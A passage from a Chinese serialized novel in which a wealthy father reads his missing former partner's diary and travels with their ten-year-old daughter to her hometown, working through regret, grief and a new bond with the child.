程妙瑾煮的面确实很好吃,大家尝这味道就知她没撒谎。没做过饭的孩子是煮不出这种水平的。 吃完面,程妙瑾主动要洗碗,被方姨和尹岚拦下了,好说歹说才把她从厨房劝走。 周衍东把女儿叫到楼上书房,关上门,目光歉疚看着她。 “这么多年,爸爸就给你煮过一碗米粉,实在不称职。” 程妙瑾没接这话,走到窗边向外望去,忽然大叫:“爸爸,那有只大鸟!” 周衍东来到她身边,顺着她指的方向看去,只见一只黑色的鸟在空中。 他看着女儿脸上浮现起难得的童真笑容,不自觉也跟着笑了,问道:“妙妙喜欢这里么?” 程妙瑾点点头,目光诚恳:“喜欢,这里有很多书,装修得漂亮也温馨,住着很舒服。最关键是,奶奶和爸爸,还有方姨都在这儿。” 周衍东又问:“那你喜欢别墅吗?” 程妙瑾想都没有便摇头:“别墅又大又漂亮,但我更喜欢小房子,这一点跟妈妈很像。” 周衍东:“爸爸给你转学,以后你留在京州,喜欢住这儿咱们就住这儿,不喜欢就搬去别的地儿,都看你。” 周衍东这话不是疑问句,也不是提议,程妙瑾明白,父亲并没有在征求她的意见,只不过是在告知她。 她冲父亲摇了摇头:“不要。” 这两个字说得很轻,目光却无比坚定。 周衍东倏地皱眉:“不行,你不能再留在容今了。” 程妙瑾仍是摇头:“为什么不能?我在那里出生,在那成长,那里一切都好,那是我熟悉的地方。我就要留在那儿。” 周衍东百思不得其解:“为什么不来京州?京州不比容今好吗?爸爸能给你最优渥的生活,能让你去最高端的学校,接受最优良的教育,而且现在——” 他顿了顿,低头深吸一口气,沉默一小会儿才又开口:“而且现在,我们找不到程溪。假期你可以留在京州,开学了回去,谁照顾你?倪小姐吗?她有自己的生活,还得工作,人家又不是你父母,总不能一直围着你转。” 程妙瑾咬着唇,瞬间红了眼,沉默片刻,哽咽着说:“我生活能自理,我会自己照顾自己。” 周衍东扶额,叹气:“胡闹!把你一个人扔在那儿,我怎么放心得下?” 程妙瑾仰起脸,梗着脖子瞧他:“我觉得妈妈最后留下那句话,应该只是想自己出去散散心,开学前她肯定会回来!” 周衍东:“如果没回来呢?妙妙,如果程溪没回来,我就这么眼睁睁看着自己女儿离开京州,独自在千里之外生活? “妙妙,我以前不是个称职的爸爸,是因为我压根不知道自己已经成为了一个父亲!既然现在我已经知道你的存在,能不能给我机会,让我好好尽到父亲的责任?” 程妙瑾没有直接回答这个问题,而是看向窗外,问:“爸爸,你知道刚才我为什么要让你看那只鸟吗?” 不等周衍东开口,她自问自答说道:“因为我想让你明白,能自由自在飞翔的鸟有多快乐。当初妈妈被你困在京州,困在这套公寓里,她妥协过,忍耐过,最终还是选择拼尽全力逃离。 “爸爸,我和妈妈一样,我们都不属于这里。或许以后我会再来京州,来这里度假,来这里读大学,来这里工作,但是现在,我不想留在这儿。 半晌,程妙瑾收回看向窗外的目光,扭头问父亲:“要看看程溪的日记吗?我想了很久,还是决定把它给你。你们曾经那么相爱,或许妈妈并不抗拒让你看到那些文字。” 周衍东抬眸,泛红的眼眶里蓄着泪,看了女儿好一会儿,轻轻点头。 望着女儿离开的背影,周衍东耳边回响起她那句话。 “你们曾经那么相爱”。 他痛苦地闭上双眼,心里想:是啊,我们曾经那么相爱。 第53章 孩子是礼物。 程妙瑾很快回到二楼书房, 将母亲那本日记递给父亲。 周衍东从女儿手中接过日记。 日记上依然挂着锁,程妙瑾把钥匙放在书桌上,说道:“钥匙要保管好,看完锁上, 把本子收好, 不可以给别人看到。” 周衍东点头:“明白。” 日记本不大, 但很厚,硬壳封面, 握在手里沉甸甸的。 他盯着封面上的玫瑰看了一小会儿,正准备翻开, 程妙瑾冷不丁开口,问:“爸爸, 这些年你有过别的女人吗?” 周衍东摇了摇头。 程妙瑾半信半疑:“真的?” 周衍东看着女儿,目光坦荡而诚恳:“没必要骗你。” 程妙瑾说道:“妈妈也没找过别的男人。” 周衍东回想起倪云初那番话,颔首:“倪小姐告诉我了。” 程妙瑾:“妈妈这些年没谈恋爱, 不是因为没人追,只是因为她不想。” 周衍东:“我知道。我俩刚在一起那会儿。就有个男人对她死缠烂打。你妈妈其实挺有魅力的。” 程妙瑾说:“我也这么觉得。虽然她没有顶级漂亮的外貌, 但很招人喜欢, 追她的男人挺多。有个邻居叔叔一直对我们很照顾,还跟妈妈表白了, 被妈妈拒绝之后, 邻居叔叔也没有对我们冷淡。有时遇到小麻烦, 叔叔都会帮忙我们解决。不过妈妈这人挺要强, 可能也是为了避嫌,有什么事儿不愿意找别人帮忙,更不让我去找那个叔叔,后来我们慢慢就跟他疏远了。” 周衍东微微挑眉:“除了那位邻居, 别的追求者呢?” 程妙瑾:“还有一个挺帅的叔叔,给我留下挺深的印象。他不是容今的,外貌气质和穿着打扮都很贵气,对了,说话还一口京腔,跟你一样。我以为是京州来的,但妈妈说那位叔叔在广城,我想应该是南下的京州人。” 听到这些信息,周衍东皱起眉心,立马想到一个人。 他抬眸看着女儿,问:“那个叔叔叫什么?” 程妙瑾摇了摇头:“不知道,只知道他姓宋,妈妈叫他宋先生。” 姓宋。周衍东脑海里蹦出一个名字。 他问:“那人叫宋言吗?” 程妙瑾想了想:“没听过妈妈叫他名字,从来都是叫宋先生,所以我也不知道。” 周衍东回想起她刚才那番话,再对上宋言的形象气质,京腔口音,心里想,八成就是他了。 “那位宋叔叔经常来找程溪吗?”周衍东问。 程妙瑾摇头:“不,只找过几次,妈妈对他很客气,肉眼可见的疏离。怎么说呢,反正就是……尊敬,但冷淡。后来宋叔叔就不来找她了。最后一次见面,宋叔叔想邀请我们母女去广城旅游,被妈妈毫不犹豫拒绝,他俩单独聊了一会儿宋叔叔就沉着脸离开了,再后来,他就没再来过。” 周妙瑾沉默一小会儿,转移话题,问道:“要留在这看书吗?” 程妙瑾从书柜里找了一本名著小说:“我回房间看。” 她走到门口,出门前回头看着父亲:“爸爸,你催一催云安那边的朋友行么?” 周衍东:“嗯,会的,别着急,程溪她——” 他停顿下来,自己也不敢给女儿做出什么保证,沉默片刻才又开口:“她会保护好自己的。” 这话说得没底气,很淡,也很轻。 他低着头,避开女儿目光,听见门轻轻关上,再抬眸看着紧闭的房门,陷入沉思。 程溪宁愿跟宋言联系也不跟他和母亲联系,这一点让周衍东心里十分不甘。 他想起,两人在一起的契机,正是因为宋言。 当初第一次看见宋言送她回来,他深知此人危险,提醒程溪远离宋言,程溪不当回事,他为她着急担忧,反倒被她当成是吃醋。 也是巧,就因为这么个误会,话赶话说着说着,两个人就莫名其妙在一起了。 后来,因为宋言他们还吵过架,甚至搬回京州后,周衍东有时也会翻旧账。 程溪流产之前,有时两人吵架,他会拿话刻薄她—— “选了我才发现,也就那么回事儿,后悔没选宋言了是吗?” “你要觉着我不够包容你,疼爱你,那就去找宋言啊。” …… 每当他说这些话,程溪总会哭着跟他闹,两个人越吵越凶,谁也不让谁,最后都是他服软,后退一步,哄一哄,程溪再给个台阶下,又和好了。 程溪流产以后,跟他闹过一阵儿就变得很乖。 他记得程溪变乖之前母亲过来陪了她一天,八成说了些什么,把她劝通了。 他问过程溪和母亲,那天都聊了什么,这两人嘴都严,对此闭口不谈。 他那会儿忙,也没追着问这事儿,只觉得反正程溪已经被彻底哄好了,又乖了,自己想要的结果已经拿到,便不再往深里探究她是怎么有了这种转变。 再后来,周衍东每每不舒服,又拿宋言来刻薄程溪,她从来不因为这个跟他闹,总是温柔地笑一笑,眉目平和,看着他说:“我心里除了你,再没别人了。” 他其实是信的,只不过为了多听她两句好话便往死里作,陈年老醋反复拿出来吃。 有一回他看出她是真的气了,委屈得红了眼,却又强忍着泪,不让自己哭出来,仍是挤出一个笑,温柔地望着他,嘴上打趣:“你老跟我提宋言,不知道的,还以为你对他有意思呢!” 他被这话气笑了,程溪也噗嗤笑出声,眼泪流出来,抬手一边抹泪,一边娇嗔:“都怪你,逗得我又哭又笑!” 他气消了大半,摸摸她的脸,说:“宝宝,你现在脾气可真好。” 程溪不作声,靠在他怀里,脸贴上他胸膛。 等她从怀里离开,他发现自己胸口湿了一片。 他以为这些泪是之前流的,现在回想起来,浸湿他胸口的每一滴泪,都含着程溪无处言说的委屈。 这些泪,是她将脸埋进他胸口后流的啊。 在他不曾在意的时刻,她默默流了多少泪,独自咽下多少委屈,他以前从不曾了解过。 从回忆中抽离,周衍东翻开了手上这本硬壳日记。 日记扉页,程溪用清隽的字迹写下一句名言—— “世界以痛吻我,要我报之以歌。” 翻过扉页,周衍东从第一篇日记开始看起。 第一篇是二零一一年八月二十日写的,许多年前了——那会儿他们已经分手。 但这篇日记里程溪没有提过他半句。 她写了自己前些日子回了趟广城,回到曾经租过的房子附近转了转,又在那找了两天房子,没找着满意的,再三思索,决定去往云安省容州市容今县——那会儿容今只是个县城,前几年才从容州分出来,成为城市。 她在网上查过容今,觉得这里很宜居,便迅速从广城来到这里。 她把这次出发看看成一段冒险,用了整整两页纸书写自己对这段新旅程的期待和担忧,像个青春期的少女,对未知旅行怀着憧憬与不安。 周衍东一页一页往下看去,发现她记录了很多琐事。正如倪云初所说,程溪是个坚强又乐观的人。周衍东从字里行间读出了她对生活中所有一切的感恩之心。 直到二零一一年九月中旬,周衍东终于看到了程溪的怨言。 果她的命运注定充满了波折苦难,上天为什么要让她来到人间?难道有些人来世间走一遭的目的,就是为了吃尽苦头? 她想不通,看不透。放不开…… 字迹间,有些字被泪滴晕染;有些字因颤抖而写得歪曲;有些字或许是因为怨恨太浓,笔尖划破了纸张…… 但很快,紧接着在第二天的日记里,她又调整好了状态。 她写道—— 【彻夜未眠,天亮后,才从麻木的状态中清醒过来,整个人疲惫至极,可又怎么都睡不着,索性起床,为自己煮了一碗面。 我想,我这种人,哪怕有万般缺点,但“打不倒”这一个优点,就能让我一直坚强地活下去。 昨天我问命运,为何对我如此不公?问上天,为何对我如此残忍?今天,我想我有了答案。吃面的时候,脑子里忽然冒出一句话:要是有人陪我一块儿吃,该多好啊! 我是孤独惯了的人,从小到大,早已习惯没人作伴。家里四口人,另外三个从不把我当自己人。后来遇上了周衍东,本以为人生有了依靠,最后才发现,其实他从来都不属于我。 吃面时想的那句话,忽然让我恍然大悟——这个孩子,是上天送给我的礼物!这孩子是带着任务下来的,她/他的任务就是:终结我的孤单…… 此时此刻,我的体内多了一颗种子。 我不再是一个人,我不再只有我。长久以来。我总是被无尽的孤寂围绕着,所有人都觉得我阳光,乐观,没有人知道,正是因为心里下过太多场雨,才会不断地向太阳靠拢;正是因为对待人生的态度底色是悲观,才会选择暂时乐观,让自己活得更舒坦一点…… 感谢命运给了我这个孩子,感谢这个孩子选择了我,也感谢决定生下这个孩子的我自己。 太阳照常升起,阳光铺满一地,我站在光里,想象着自己是一棵大树。我的孩子,是我身上的树枝,我们一起沐浴阳光,等待雨露。 我们紧紧相连,彼此陪伴,再不孤独。】 最后两个字——“孤独”,被泪水浸透。 周衍东知道,这是感动的泪,是幸福的泪。 他没发现自己也哭了。 他将目光挪回到前面几段话的某一句中。 【后来遇上了周衍东,本以为人生有了依靠,最后才发现,其实他从来都不属于我。】 周衍东想起,父亲曾经告诉过他,他和程溪,从来都不是一个世界的人。 哪怕住在一起,哪怕肌肤相亲,也从来都,不是同一类人。 所以,注定没有结局。 他颤抖着手,翻开下一页,一字一句在心里默读。 程溪记录了怀孕前期和中期的许多事。 宝宝很乖,几乎不怎么折腾她,她没什么孕反,吃得香睡得好,健步如飞,许多人都觉得她怀的是男孩,可她坚信自己会生个女儿。 不知道为什么,冥冥之中像是得到了上天的某种暗示,她就是如此坚信。 女儿第一次踢她时,那种感觉给了她无比大的震撼。 孩子强烈的存在感完全驱散了她长年累月萦绕着她的孤单。 她被这鲜活的生命力感染,自己也像个孩子般,重新打量这个世界。 她对这个世界重拾了信心和好奇,充满期待地度过每一天。 孕后期,程溪很少写日记。肚子大了坐着不太舒服,她写过,每次出门,办事或者逛街,别人都会好心地提醒她坐,她笑着摇头拒绝。其实肚子越大,坐着越不舒服,短时间内站着反倒轻松些。 周衍东看完程溪怀孕期间写的日记,发现她只提过自己一次。 另一次虽然只字未提他的名字,可是他想,那会儿程溪心里,一定想着他。 那一次是这样的:程溪挺着大肚子,在公园里散步,看见一对年轻夫妻有说有笑,手拉着手,并肩走在她前面。走着走着,女人停住脚步,抬起一只脚晃了晃,原来是鞋带散了散了。男人立蹲下来,替她系好鞋带。女人娇笑着挽住男人胳膊,夫妻俩继续前行。 程溪写道: 【我被这样幸福的场景感动得想哭,又不禁扪心自问,这想哭的冲动,完全是因为幸福,还是也掺杂了一丝不甘与痛悔?】 那篇日记写到这里便结束了。 周衍东心想,自己到底让程溪痛到了何等地步,她才会日记中都无法坦然地谈论他,埋怨他? 哪怕咒骂他一句也好啊! 他是她人生中的污点吗? 是她千百个夜里,蓦然回首还胆战心惊不敢面对的错误吗? 他在她心里,到底算是怎样一个存在? 没了感情的前男友?刻骨铭心的初恋?孩子千里之外的生父? 周衍东不知道,也没有勇气知道。 他仰起头,目光从日记本移到天花板上,望着璀璨的水晶吊灯,长长地呼出一口气。 他很想将日记继续看完,此刻却无力承载如此大的情绪波动,愣愣仰头望着灯,缓了好一会儿,放下日记本,起身离开书房,下楼轻轻敲响了女儿在的那间小客房。 程妙瑾在里面应了一声,他推门而进。 周衍东点头:“我想亲自过去看看。” 程妙瑾不知父亲为何突然这样安排,但还是懂事地点头答应。 离开公寓前,周衍东告诉尹岚,说自己带女儿出去旅游几天,尹岚也要跟着去,他自然是不让的,说这趟旅程安排得比较匆忙,她年纪大了,不适合她,这次先在家歇着,以后一定找机会带上她和方姨,四个人一块儿去。 他既然不肯,尹岚只得同意。 周衍东和女儿走出公寓,程妙瑾联系了倪老板问她要不要跟着一起回去,倪老板说想,周衍东立即买了三张三小时后飞容州的机票,派人将倪老板送去机场。 三人在机场汇合,谁心里都装着事,不想说话,默默并排坐着。 周衍东买的头等舱机票,上飞机后,程妙瑾小声对他说:“这是我人生中第一次做头等舱。” 后排的倪老板也凑过来,笑道:“我也是,多谢周总!” 周衍东问:“感觉怎么样?” 她俩相视一笑,程妙瑾说:“挺好的,不过也就那么回事儿吧。” 周衍东淡淡点头,没作声。 过了一会儿,程妙瑾轻声问道:“爸爸,你是不是生气啦?” 周衍东扬眉:“没有,怎么会这样想?” 程妙瑾:“你好心给我们买了头等舱的票,我们好像不怎么领情……” 周衍东笑了,他其实压根没把她们那话当回事儿,说道:“你们跟程溪是一类人,对物质享受没那么看重,我理解。” 飞机起飞,他扭头看向窗外。 女儿也趴在窗边,惊叹于外面恢宏壮丽的景色。 周衍东问:“站得越高,脚下的东西,就会越来越小,对吗?” 程妙瑾点点头:“当然!” 周衍东:“我以前总觉得站得高才能看得远,当我站得足够高了,发现确实看得远,可是,能看到的东西也小了,举目望去,一片苍茫。” 这番话不提“孤单”二字,却又将孤单尽显,程妙瑾明白父亲这话的意思,默默望着窗外,耳旁又传来父亲的声音。 “站得高了,才发现世界那么大,人群密密麻麻。” 她不知父亲为何感慨这句话。 而此时此刻,周衍东心里想:在这么大的世界,这么多人里,要寻找一个主动消失的人,无疑是大海捞针。 周衍东转过头,闭上眼睛,心里不禁又问出那句已经问了无数遍的话—— 程溪,程溪,你在哪里? 周衍东不知不觉睡着了,又做了一些杂乱的梦,飞机落地过程中醒来,梦见过什么一律记不清,只觉得心里乱糟糟的。 早些年他来容州出差时,这里还没通高铁,现在从容州乘高铁到容今只需要半小时。 上了高铁,程妙瑾问:“爸爸,你以前跟妈妈来容州旅游过吗?” 周衍东摇头:“没有,我很少带她出来玩儿。” 程妙瑾又问: 周衍东想了想,心里算起来。 “二零一二年。”他说。 程妙瑾:“我就是那年出生的。” 真巧啊——父女俩不约而同在心里想。 周衍东内心升起一股强烈的宿命感。 自己偏偏是二零一二年来的容州? 为什么不是头一年,也不是第二年? 为什么明明到了容州,却没有去容今? 要是当年自己去了容今,或者程溪来了容州,两个人会不会重逢?他会不会早早发现自己有了一个女儿? 他忽然觉得自己是如此的可悲。 人生就像一场剧本,上天创造了这场悲剧,玩弄并惩罚着他这个角色。 宗教大师们劝人不要着相,不着相便能瞬间脱离苦海。 《六祖坛经》里写到“本自具足”,他想,自己悟性还是不够高,不够超脱,也没有慧根,要不然怎会连“本自具足”四个字都完全无法体会? 若是人真的可以本自具足,即便程溪不在身边,他也能感受到自己仍然拥有她。 然而,感受不到,就是感受不到,没有就是没有,已经失去,就是已经失去。 他要如何说服自己无中生有? 又要怎样才能欺骗自己从未失去? 他无力地靠在座位上,望着窗外一闪而过的景象,就像回望自己前三十五年的青春——不,他的青春停留在程溪离开的那一刻。 后来没有她的每一天,自己都像是一具行尸走肉,疲惫而麻木地活着。 活着而已。 赚了更多的钱,爬到更高的位置,拥有更多的权力。那又如何?他早已,早已失去了生命中最为珍视的一切。 那个他最爱,也最爱他的姑娘;那份他曾经视为珍宝的爱情…… “我们家比较小,装修也很简单,如果你住不惯,可以订酒店。”程妙瑾提醒道。 周衍东收起杂乱的思绪,目光看向女儿,摇了摇头:“没关系,以前我和你妈妈住过更小的房子,只有七平米来着,再多一个人都挪不开脚。” 程妙瑾:“真的吗?妈妈没跟我说过,也没在日记里写过。” 周衍东:“嗯。我很快赚到一笔钱就带她搬进好一些的公寓里了,不过也只是稍微好一些而已。那个时候我的目标是,赚很多很多钱,让你妈妈住上大房子,开上豪车,穿金戴银。但我想给的这些,都不是她想要的。” 程妙瑾点头附和:“妈妈确实不喜欢这些,她的快乐不来源于此。吃一顿饱饭,睡一个好觉,都能让她幸福一整天。这样的人——” 她顿在此处,收住了话,不再往下说。 周衍东:“嗯?” 程妙瑾迎着父亲的目光,半张着唇犹豫片刻,极小声说道:“这样的人,怎么会轻生!对么,爸爸?” 周衍东没有作声。 他无法给女儿一个确切的答案,因为以他三十五年的人生经验来看,不到最终结局的那一刻,谁都无法预知准确的结果。 他经历了太多事,这些事在发展过程中一再反转又反转,他早已学会不要提早下定论。 然而,他还是鼓起勇气,伪装出坚强的目光,对女儿说道:“是的,妈妈不会那样。” 他挪开目光,看向窗外,景色飞快向后移动。 点点滴滴的回忆汇流成海,奔涌进周衍东脑中。 他胸闷得有些喘不上气,仰头靠着椅背,默默调整呼吸,稍微舒服了些时,听到女儿轻声提醒:“快到容今了,爸爸,准备下车。” 第54章 她似晚风入梦。 周衍东终于来到了程溪和女儿的家。 确实如女儿所说, 这套房子面积小,装修也非常简单。但房子打扫得干净整洁,一些软装布置得精致而温馨。 周衍东进门前怕弄脏地板,想要换鞋, 程妙瑾打开鞋柜, 说道:“没有男士拖鞋, 不用换了,进来吧, 没关系的。” 周衍东心想,看来这么些年, 程溪真没谈过男朋友。 他心里涌起一阵难受,觉得如果程溪能谈谈男朋友, 反倒是件好事。至少对她而言,多个人陪伴,多一份温暖。 他不确定程溪与自己分手多年还始终保持单身是因为心里放不下自己, 亦或是再不相信爱情。他默默地问自己:十一年来,自己除了工作就是工作, 单着那么久, 又是为什么? 房子面积虽小,但五脏俱全, 除了客厅、饭厅、厨房、厕所, 还有一间主卧, 两间客卧, 程妙瑾挨个给他介绍。 周衍东站在主卧门口,扭头看看旁边两间客卧,感觉三间房大小其实差不多。 程妙瑾说:“小时候我和妈妈睡主卧,等到六岁, 我就自己睡这间客卧。” 她指了指主卧旁边的小房间。 周衍东问:“我能进主卧看看吗?” 程妙瑾:“当然。” 倪云初跟在他们身后一起进,说道:“这房子是妙妙两岁时程溪掏空积蓄付完首付贷款买的。” 周衍东从门口走到窗边,来到床头柜前,又绕去另一边,来到衣柜前,像个侦探似的,想在房间里找到失踪案的蛛丝马迹。 但很可惜,什么线索也没有。 他问女儿:“妙妙,爸爸这几天就住这个房间,可以吗?” 程妙瑾:“当然可以。之前想让你住酒店,是怕你嫌这小,穷酸,住不惯。” 周衍东将行李箱拎进房间放好,抬手看了看表,已经下午五点半了,他提议先去吃晚饭。 倪云初是土生土长的容今人,程妙瑾也在容今出生成长,容今是她们的主场,两人带着周衍东这位外来客去吃了顿最有名气也最好吃的那家过桥米线。 倪云初问他好吃吗,他敷衍地点了点头,心不在焉吃着,满脑子都是程溪。 吃完米线,他问:“程溪经常来这吃?” 倪云初点点头:“对,我们仨总是约着一起来。跟你说个好笑的,由于我们仨频繁同进同出,我和程溪有时候又勾肩搭背的,有几次居然被人误以为是拉拉!” 周衍东扯一下嘴角,礼貌性地回了个淡笑,默不作声扫码付账。 倪云初见他表情凝重,本想拿这事缓和一下气氛,见他仍然面色冷淡,顿觉尴尬,一时不知该说什么好,扭头看看程妙瑾,程妙瑾冲她耸了耸肩。 两人默契十足,倪云初从对方眼睛里看到了暗示。 程妙瑾什么也没说,用眼神告诉她:爸爸正难受呢。 她转脸,又看向周衍东,想起这男人说过,程溪是他的初恋,自打他俩分开,他就没再找过别的女人。 起初倪云初还只是半信半疑,现在倒觉得周衍东没有骗人。她之前低估了程溪在这位京圈大佬心目中的地位,如今看来,是自己见识短了,以前竟不相信世间有如此长情与忠贞的男人。 她的目光在周衍东和程妙瑾二人脸上来回跳转,暗自感慨基因的奇妙:这两张脸,就跟一个模子里刻出来似的! 等她俩都吃完了,周衍东提议去程溪经常散步的地方转转。 她俩带着他来到环湖公园。 倪云初说:“程溪很喜欢这里,这个公园年代久远,但人气很旺,尤其是早上和傍晚最热闹。老头老太太们都出动了,合唱的合唱,跳舞的跳舞,生活气息十足。 “我不理解程溪为什么这么喜欢这儿,笑她跟个老年人似的,程溪说,老了才好,她巴不得睡一觉,甚至一眨眼就七老八十了。” 程妙瑾望着碧绿的湖水:“妈妈也跟我说过这话。我想,人不可能永远都是一种状态,所以妈妈也不可能永远都是乐观阳光的。她肯定也有受够了眼前的生活,想要快些老去,快些走完这一生的时候。” 倪云初沉默一会儿,强扯出一个笑,摇摇头反驳道:“我不觉得她这话代表着消极悲观,反倒认为,这体现了她对时光流逝的豁达,无惧岁月,也无惧苍老。” 她扭头看向周衍东: 周衍东默不作声。 他想起多年以前,殷磊曾经夸赞他是个理想主义,不禁有些羞愧,因为不知从何时起,自己似乎早已没有了理想,沦为一个不肯停歇的赚钱工具。 而程溪,这么多年过去,依然和从前一样,是个浪漫主义。 他无声地扯出一抹苦笑,心想,迷失的这些年里,自己对不起程溪,也对不起自己。 傍晚,夕阳洒下余晖,许多中老年人聚集在环湖公园,开始了他们的娱乐活动。 音乐声、说笑声、嬉闹声交杂在一起,周衍东并不觉得烦,他试图把自己想象成程溪,以她的视角来观察这平凡一天中平凡的时刻,平凡的人们茶余饭后平凡的活动。 夕阳的余晖依然有余热,照在他脸上,有种淡淡的温暖。他像被一层浅橘色的光环包裹,周围的一切亦是如此。 看着不远处随着音乐欢乐扭动的大爷大妈,周衍东不自觉也被他们这份快乐感染。 在某个瞬间,他忽然理解程溪曾经跟他描述的那种平凡的幸福。 望着隐去一半的夕阳,在这份淡淡的温暖与幸福中,他心里又涌起了淡淡的哀伤。 平平淡淡很美好,周衍东理解并认同这份美好,然而,这种美好只能作为疲惫生活中短暂休憩时的调剂品,不能成为他人生中的常态,因为他从来都抗拒平庸。 周衍东不得不承认,父亲说得对。 如今回头看这段感情,他和程溪,两个人很会考试,很会做题,却偏偏选了道错题,以不撞南墙不回头的架势一错到底。 撞了南墙头破血流,才肯承认自己错了,从一开始就错得一塌糊涂。 从一开始,两个不同世界的人,走的就是两条再无交集的路。 夕阳又沉下几分,余晖由浅橘色逐渐变深,残阳如血,周衍东在暮色中回忆着过往这段刻骨铭心的爱情。 枝头有鸟儿高歌,此时在他听来,如同一段悲鸣。 他记得程溪在日记中提过环湖公园,她就是在这里看到过一对年轻夫妻,丈夫弯腰给怀孕的妻子系鞋带。 字里行间中不难看出,程溪无疑是羡慕的。 周衍东气她不告诉自己她怀孕这事,气她独自扛下了所有,又气她不顾一切悄然出走。 十一年啊,这十一年对自己而言不过眨眼之间,对她而言,是否度日如年? 夜色在天空中拉开帷幕,程妙瑾对面色沉重的父亲说道:“爸爸,回家吧。” 倪云初与他们在公园门口分开,独自打车回住处。 环湖公园离程溪那不远,程妙瑾带着父亲往回走,一路无话。 回到家程妙瑾,程妙瑾好奇地看着父亲,问:“爸爸,如果妈妈回来了,你想跟他复合吗?” 周衍东没有直接回答,反问道:“你呢?希望爸爸妈妈复合吗?” 程妙瑾:“我都行,主要看你们。” 周衍东:“我也都行,主要看你妈。” 程妙瑾:“如果你俩复合了,你会逼着我们搬去京州吗?” 周衍东愣住,停在原地,好半天不作声。 他想起女儿说过,程溪在日记里写,京州那套公寓,有他在的时候才像家,他不在,就像笼子。 他抬头,看着女儿,说道:“你们想在哪儿就在哪儿,爸爸只希望我最爱的两个女人,快乐又自由。” 程妙瑾默不作声盯着父亲,紧咬着唇忍了又忍,终是绷不住,嘴角一扯,哭了出来。 周衍东立马恍神,赶忙抱住女儿,手掌轻抚着她后脑勺,柔声开口:“想妈妈了,对吗?” 程妙瑾泣不成声:“妈妈是不是不要我了?是不是觉得这些年带我太累,嫌我太烦,一点儿都不想见到我?其实他早就想走了,对吗?” 周衍东拧着眉沉声说:“别瞎想。你妈妈最爱你,比爱我还要爱你。她怎么舍得丢下你,怎么可能不要你?” 程妙瑾哑着嗓子问:“那她怎么还不回来!这都多少天了,不知道我有多担心她多想她吗?” 周衍东不住地轻拍着女儿后背安慰:“她知道,她当然知道……她只是太累了,想一个人静一静,她知道你会来找我,知道我会把你照顾好,才敢离开这么久的。” 程妙瑾将头埋进父亲怀里,崩溃大哭:“你骗人!你就是为了安慰我胡说八道!” 她终于放下一切防备,在父亲面前,成为了一个手足无措的孩子。 周衍东摇头:“妙妙,你想一想,这本日记写了十多年,为什么以前妈妈从不让你看到,她一失踪,你就找到了?为什么她会写下‘别找我’三个字?这三个字,不就是写给你和我看的吗?” 程妙瑾:“那她为什么不直接跟我说清楚?她好好说,我又不会缠着她。我会洗衣会做饭,会自己上下学,她要是跟我说清楚,她想去哪儿我都不拦着。” 周衍东不知该如何跟女儿解释,想了又想,认真说道:“妙妙,有些事情,有些情绪,是很难说出口,也很难表达清楚的。人在巨大的压力和恐惧之下会选择逃避,这很正常。你妈妈一路走来很不容易,我想,她一定积攒了太多情绪和压力,到了某个节点,没控制住,爆发了。 “她只能选择逃离,她这么善良,肯定不愿意因为自己的负面情绪影响别人分毫,所以才偷偷躲起来,自己处理坏情绪。妙妙,妈妈不是笨蛋,她也相信你不是笨蛋,我不是笨蛋。 “她用聪明又体面的方式间接让你明白了自己的身世,同时也让我找到了命运留给我的彩蛋。这正是你妈妈的行事作风啊,一个小说家特立独行的浪漫风格,不是吗?” 程妙瑾噘着嘴,吸了吸鼻子,说:“她倒是浪漫了,我可浪漫不起来!” 嘴上这么说着,其实听父亲解释完,她放心了不少。 见女儿情绪平缓下来,不再崩溃大哭,周衍东松开怀抱:“在家等爸爸,我下去买拖鞋和洗漱用品。” 他转身准备出门,程妙瑾疾步跟过来:“我和你一起去!” 周衍东摇了摇头:“奔波一天,你也累了,先在家歇着,我很快就回来。” 程妙瑾抓着父亲胳膊,瘪着嘴,眼泪汪汪:“不要,我就要跟你一起去……” 周衍东笑起来:“一个人在家害怕?” 她点点头:“对,我怕鬼。” 周衍东:“怕鬼?这可不是咱们妙妙小勇士的作风啊。” 程妙瑾仍抓着他不放手,头摇得飞快:“就怕就怕就怕!爸爸,你就让我跟你一起去嘛……” 周衍东头一次见她撒娇,也头一次在她脸上看到了孩子该有的样子。 他忽然明白,女儿眼里的惊恐与慌乱来自于何。 这个十岁的孩子,在妈妈失踪多日后,害怕再莫名其妙失去爸爸。 母亲悄无声息出走,让她感觉自己被抛弃,此刻她紧紧抓着父亲的手,如同抓着最后一根救命稻草。 这个聪明懂事又独立的小姑娘,并非无法独自生活,只是不想再一次体会被抛弃的感觉。 周衍东深吸一口气,反握住女儿的手,牵着她往外走。 这套房子在老城区,楼下有家小型商店,程妙瑾带着父亲走进店里,四十来岁的老板娘看见她,正要打招呼,又见她被一个男人牵着,老板娘的目光落在男人脸上。 程妙瑾用浓浓的鼻音跟老板娘打招呼:“张阿姨好。” 老板娘眼神在她和周衍东脸上来回转,试探性问道:“妙妙,这是你爸爸呀?” 程妙瑾点头。 老板娘心想:难怪了,长得这么像。 她瞧着周衍东,问程妙瑾:“你妈妈呢?之前警察来——” 程妙瑾打断道:“她出去旅游散心。” 张着嘴,愣了愣:“哦,哦,散心……难怪你爸爸过来了,是来照顾你的吧?” 不等程妙瑾回答,老板娘又说道:“妙妙长得真像爸爸,又高又好看,你爸爸是哪里人?” 程妙瑾看向父亲,用眼神暗暗问:这个问题能不能答,你介意吗? 平日里,周衍东对无关紧要的人都很高冷,一般不会搭理,但这里毕竟是女儿成长的地方,他不希望女儿的熟人觉得她父亲冷漠而傲慢,并且因为这个对她产生反感。 周衍东冲老板娘淡笑,说道:“您好,我是京州人。” 老板娘听他一口京腔,挑高眉毛,惊讶:“哦哟,首都来的啊!” 她见他容貌英俊潇洒,气质尊贵不凡,又联想起孩子母亲,不禁有了许多猜测,试探着问:“妙妙她妈也不是京州人,你们两个怎么认识的?” 程妙瑾知道这老板娘素来嘴碎,爱打听八卦,也爱到处宣扬,虽然人不坏,可这一点让她喜欢不上来。 她拉着父亲往里走,回头对老板娘说:“阿姨,我们先去挑东西啦。” 程妙瑾将父亲拉到最里面,隔老板娘好远,低声开口:“这阿姨人是好人,就是爱嚼舌根,你别跟什么都跟她说。” 周衍东笑着点点头,拿了一双拖鞋,一套洗漱用品,结账时准备再买包烟,忽然想起什么,扭头看了看女儿,对老板娘说:“烟不要了。” 他原本打算买的是这里最贵的烟,老板娘眼见要失去。这笔生意,赶忙说道:“我这里烟酒全是真货,不搞假的!” 周衍东依然摇头:“不要了。” 老板娘不知他为何改变主意:“为什么呀?” 周衍东下巴冲女儿一扬:“不想让我家姑娘吸二手烟,戒了。” 